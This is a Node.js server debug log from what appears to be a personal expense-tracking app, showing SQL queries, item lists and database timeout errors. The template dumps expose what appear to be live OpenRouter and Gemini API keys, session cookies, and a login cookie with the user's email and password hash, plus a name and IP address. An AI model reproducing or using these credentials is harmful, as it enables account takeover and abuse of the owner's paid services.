    query: 'select max(`invoice_number`) as `max_invoice` from `expense`'
  }
}
2026-02-02T09:19:06.364Z server-connect:output restrict: undefined
2026-02-02T09:19:06.364Z server-connect:app Executing action step select
2026-02-02T09:19:06.364Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-02T09:19:06.365Z server-connect:output last_invoice: { max_invoice: 1244 }
2026-02-02T09:19:06.366Z server-connect:output list: [
  { name: 'Litres', id: 1 },
  { name: 'KG', id: 2 },
  { name: 'Piece', id: 4 },
  { name: 'Pounds', id: 5 },
  { name: 'Other', id: 11 },
  { name: 'EMI', id: 12 },
  { name: 'Premium', id: 13 },
  { name: 'GM', id: 29 },
  { name: 'Packet', id: 30 },
  { name: 'Tablet', id: 31 },
  { name: 'Strip', id: 32 },
  { name: 'Full Plate', id: 33 },
  { name: 'Half Plate', id: 34 },
  { name: 'Meter', id: 35 },
  { name: 'Bottle', id: 36 },
  { name: 'Glass', id: 37 },
  { name: 'Plate', id: 58 }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-02 14:56:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-02 14:56:25' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-03 05:02:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-03 05:02:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-03 06:58:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-03 06:58:27' as DATETIME)"
}
2026-02-03T12:03:01.209Z server-connect:router Serving templateView /
2026-02-03T12:03:01.210Z server-connect:app Executing action step identify
2026-02-03T12:03:01.210Z server-connect:app options: { provider: 'security' }
2026-02-03T12:03:01.258Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-02-03T12:03:01.260Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-03T12:03:01.305Z server-connect:output identity: 1
2026-02-03T12:03:01.305Z server-connect:app Executing action step restrict
2026-02-03T12:03:01.305Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T12:03:01.306Z server-connect:output restrict: undefined
2026-02-03T12:03:01.306Z server-connect:app Executing action step restrict
2026-02-03T12:03:01.306Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T12:03:01.307Z server-connect:output restrict: undefined
2026-02-03T12:03:01.307Z server-connect:router Render template layouts/main
2026-02-03T12:03:01.307Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.209Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-03T12:03:04.147Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-03T12:03:04.148Z server-connect:app Executing action step identify
2026-02-03T12:03:04.148Z server-connect:app options: { provider: 'security' }
2026-02-03T12:03:04.148Z server-connect:output identity: 1
2026-02-03T12:03:04.148Z server-connect:app Executing action step restrict
2026-02-03T12:03:04.148Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:03:04.149Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-03T12:03:04.150Z server-connect:output restrict: undefined
2026-02-03T12:03:04.150Z server-connect:app Executing action step select
2026-02-03T12:03:04.150Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-03T12:03:04.151Z server-connect:app Executing action step identify
2026-02-03T12:03:04.151Z server-connect:app options: { provider: 'security' }
2026-02-03T12:03:04.151Z server-connect:output identity: 1
2026-02-03T12:03:04.151Z server-connect:app Executing action step restrict
2026-02-03T12:03:04.151Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:03:04.155Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-03T12:03:04.157Z server-connect:output restrict: undefined
2026-02-03T12:03:04.157Z server-connect:app Executing action step single
2026-02-03T12:03:04.158Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-03T12:03:04.159Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-03T12:03:06.503Z server-connect:router Serving templateView /diecast
2026-02-03T12:03:06.503Z server-connect:app Executing action step identify
2026-02-03T12:03:06.504Z server-connect:app options: { provider: 'security' }
2026-02-03T12:03:06.504Z server-connect:output identity: 1
2026-02-03T12:03:06.504Z server-connect:app Executing action step restrict
2026-02-03T12:03:06.504Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T12:03:06.504Z server-connect:output restrict: undefined
2026-02-03T12:03:06.504Z server-connect:router Render template diecast
2026-02-03T12:03:06.504Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T12:03:06.761Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:03:06.763Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:03:06.765Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T12:03:06.765Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:03:06.766Z server-connect:app Executing action step identify
2026-02-03T12:03:06.766Z server-connect:app options: { provider: 'security' }
2026-02-03T12:03:06.766Z server-connect:output identity: 1
